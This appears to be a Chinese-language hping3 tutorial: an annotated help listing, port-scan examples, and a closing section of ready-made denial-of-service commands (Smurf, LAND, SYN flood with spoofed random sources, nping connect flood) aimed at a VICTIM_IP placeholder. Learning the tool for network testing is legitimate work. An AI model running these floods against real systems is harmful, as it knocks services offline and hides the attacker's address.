幫助文件
usage: hping3 host [options]
-h --help show this help
-v --version show version -c --count packet count #顯示發送的數據包數目 -i --interval wait (uX for X microseconds, for example -i u1000)#設定數據包間隔時間uX中的X表示微秒 --fast alias for -i u10000 (10 packets for second)#等同於-i u10000 --faster alias for -i u1000 (100 packets for second)#等同於-i u1000 --flood sent packets as fast as possible. Don't show replies. #盡快發送數據包,不顯示回復 -n --numeric numeric output #數字化輸出 -q --quiet quiet #安靜模式 -I --interface interface name (otherwise default routing interface)#指定網卡接口 -V --verbose verbose mode #詳細模式 -D --debug debugging info #調試信息 -z --bind bind ctrl+z to ttl (default to dst port)#綁定ctrl+z到ttl(默認為目的端口) -Z --unbind unbind ctrl+z #取消綁定ctrl+z --beep beep for every matching packet received #接收到匹配數據包時蜂鳴提示 Mode #模式選擇 default mode TCP #默認TCP模式 -0 --rawip RAW IP mode #原始IP模式,發送的數據包帶IP頭 -1 --icmp ICMP mode #會發送IGMP應答報文,關於IGMP請看我的另一篇隨筆IGMP -2 --udp UDP mode -8 --scan SCAN mode.#掃描指定端口 Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode IP -a --spoof spoof source address #源地址欺騙,偽造ip攻擊,防火牆無法記錄到真實IP,但同時自身無法接受到回應的包 --rand-dest random destionation address mode. see the man. #隨機目的地址 --rand-source random source address mode. see the man. #隨機源地址 -t --ttl ttl (default 64) #指定ttl值,默認64(ttl:生存時間值,包允許通過的最大網段數量,超過會被路由器丟棄) -N --id id (default random) #hping中的ID,默認隨機 -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) #設定數據包分段大小,將數據包拆成更多的碎片(默認16字節),測試對方的碎片處理能力 -x --morefrag set more fragments flag #設置很多的分段標志,淚滴攻擊 -y --dontfrag set don't fragment flag #設置不分段標志,發送不可恢復的IP碎片,可用來檢測對端的MTU(最大傳輸單元) -g --fragoff set the fragment offset #設置片偏移 -m --mtu set virtual mtu, implies --frag if packet size > mtu #設置虛擬MTU值,大於MTU的時候分段 -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer #記錄IP路由,並顯示路由緩存 --lsrr loose source routing and record route #松散源路由 --ssrr strict source routing and record route #嚴格源路由 -H --ipproto set the IP protocol field, only in RAW IP mode#設置IP協議字段,盡在RAW模式下使用 ICMP #ICMP模式 -C --icmptype icmp type (default echo request) #ICMP類型(默認回顯請求) -K --icmpcode icmp code (default 0) #ICMP代號(默認0) --force-icmp send all icmp types (default send only supported types)#強制ICMP類型 --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) #設置ICMP重定向網關地址(默認0.0.0。0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)#ICMP時間戳 --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) #ICMP子網地址 --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) #設置源端口,默認隨機 -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec # -k --keep keep still source port #保持源端口 -w --win winsize (default 64) # -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) #設置偽造的TCP偏移量(取代tcp地址長度除以4) -Q --seqnum shows only tcp sequence number #僅顯示tcp序列號 -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead.
#嘗試發送具有錯誤IP校驗和的的數據包,許多系統會修復發送數據包的IP校驗和,因此你會得到一個
錯誤的UDP/TCP校驗和
-M --setseq set TCP sequence number #設置TCP序列號 -L --setack set TCP ack #設置TCP的ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code #使用tcp->th_flags作為退出碼 --tcp-mss enable the TCP MSS option with the given value #啟動具有給定值的TCP MSS(最大報文段大小)選項 --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime #啟用TCP時間戳來猜測HZ/uptime(運行時間?沒有查到資料) Common #通用設置 -d --data data size (default is 0) #發送數據包大小,默認0 -E --file data from file #指定文件數據 -e --sign add 'signature' #添加簽名 -j --dump dump packets in hex #轉為16進制數據包 -J --print dump printable characters #轉為可打印字符 -B --safe enable 'safe' protocol #啟用安全協議 -u --end tell you when --file reached EOF and prevent rewind #指定EOF(文件結尾標志)防止倒回 -T --traceroute traceroute mode (implies --bind and --ttl 1) #traceroute模式 --tr-stop Exit when receive the first not ICMP in traceroute mode #在traceroute模式下當收到第一個不是ICMP時推出 --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop #保持源TTL固定,僅監視一跳時很有用 --tr-no-rtt Don't calculate/show RTT information in traceroute mode #不要在traceroute模式下計算或顯示RTT(TCP的往返時延)信息 ARS packet description (new, unstable) #ARS(?沒查到)包描述,新功能,不穩定 --apd-send Send the packet described with APD (see docs/APD.txt) #apd(?沒查到)
掃描
測試ICMP
類似於ping,發送ICMP-echo,接收ICMP-reply
hping3 -1 0daysecurity.com
使用ICMP的traceroute
類似於tracert(windows)和traceroute(linux),他們使用ICMP數據包,ttl值每次加1
hping3 --traceroute -V -1 0daysecurity.com
檢查端口
將syn包發送給指定端口(這里是80),還可以控制從哪個本地端口開始掃描(5050)
hping3 -V -S -p 80 -s 5050 0daysecurity.com
到指定端口的路由跟蹤
Hping3的一個不錯的功能是您可以執行到指定端口的路由跟蹤(traceroute),以觀察包被阻塞的位置。可以通過在最后一個命令中添加--traceroute來完成。
hping3 --traceroute -V -S -p 80 -s 5050 0daysecurity.com
其他類型的ICMP
此示例發送ICMP地址掩碼請求(類型17)。
hping3 -c 1 -V -1 -C 17 0daysecurity.com
其他類型的端口掃描
我們將嘗試的第一種類型是FIN掃描。在TCP連接中,FIN標志用於啟動連接關閉例程。如果我們未收到回復,則表示該端口已打開。通常,防火牆將RST + ACK數據包發送回以表明該端口已關閉。(TCP/SYN/FIN掃描)
hping3 -c 1 -V -p 80 -s 5050 -F 0daysecurity.com
ACK掃描
此掃描可用於查看主機是否還活動(例如,當Ping被阻止時)。如果端口打開,這應該發送回RST響應。
hping3 -c 1 -V -p 80 -s 5050 -A 0daysecurity.com
Xmas掃描
此掃描將序列號設置為零,並在數據包中設置URG + PSH + FIN標志。如果目標設備的TCP端口已關閉,則目標設備將發送TCP RST數據包作為答復。如果目標設備的TCP端口已打開,則目標將放棄TCP Xmas掃描,不發送答復。
hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com
NULL掃描
此掃描將序列號設置為零,並且在數據包中未設置任何標志。如果目標設備的TCP端口已關閉,則目標設備將發送TCP RST數據包作為答復。如果目標設備的TCP端口已打開,則目標將放棄TCP NULL掃描,不發送任何答復。
hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com
攻擊
Smurf攻擊
這是一種拒絕服務攻擊,它通過欺騙性廣播ping消息淹沒目標系統,參考smurf攻擊
hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS
DOS LAND攻擊
同樣是DOS攻擊的一種,參見land攻擊
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP --flood:盡快發送數據包。不顯示回復。 --rand-dest:隨機目標地址模式。 -V <-詳細 -c --count:數據包計數 -d --data:數據大小 -S --syn:設置SYN標志 -w --win:winsize(默認64) -p --destport [+] [+] <port>目標端口(默認為0)ctrl + z inc / dec -s --baseport:基本源端口(默認隨機)
DOS攻擊
root@kali:~# hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source VICTIM_IP
HPING VICTIM_IP (eth0 VICTIM_IP): S set, 40 headers + 120 data bytes hping in flood mode, no replies will be shown
-c:發送數據包的個數
-d:每個數據包的大小
-S:發送SYN數據包
-w:TCP window大小?
-p:目標端口
--flood:盡可能快的發送包且不顯示過程
--rand-source:使用隨機的IP地址,也可用-a或--spoof隱藏主機名
SYN洪水攻擊
root@kali:~# hping3 -S --flood -V VICTIM_IP
using eth0, addr:VICTIM_IP, MTU: 1500
HPING VICTIM_IP (eth0 VICTIM_IP): S set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown
TCP連接攻擊
root@kali:~# nping --tcp-connect --rate=90000 -c 900000 -q VICTIM_IP Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2020-05-09 17:06 CST
參考
http://0daysecurity.com/articles/hping3_examples.html #hping3測試防火牆示例
https://blog.51cto.com/professor/1701977 #掃描方式
https://blog.csdn.net/kernel_1984/article/details/88632230 #hping3工具說明
https://www.cnblogs.com/daoyi/archive/2017/04/25/shi-yonghping3nping-shi-xingDoS-gong-ji.html #使用hping3進行DOS攻擊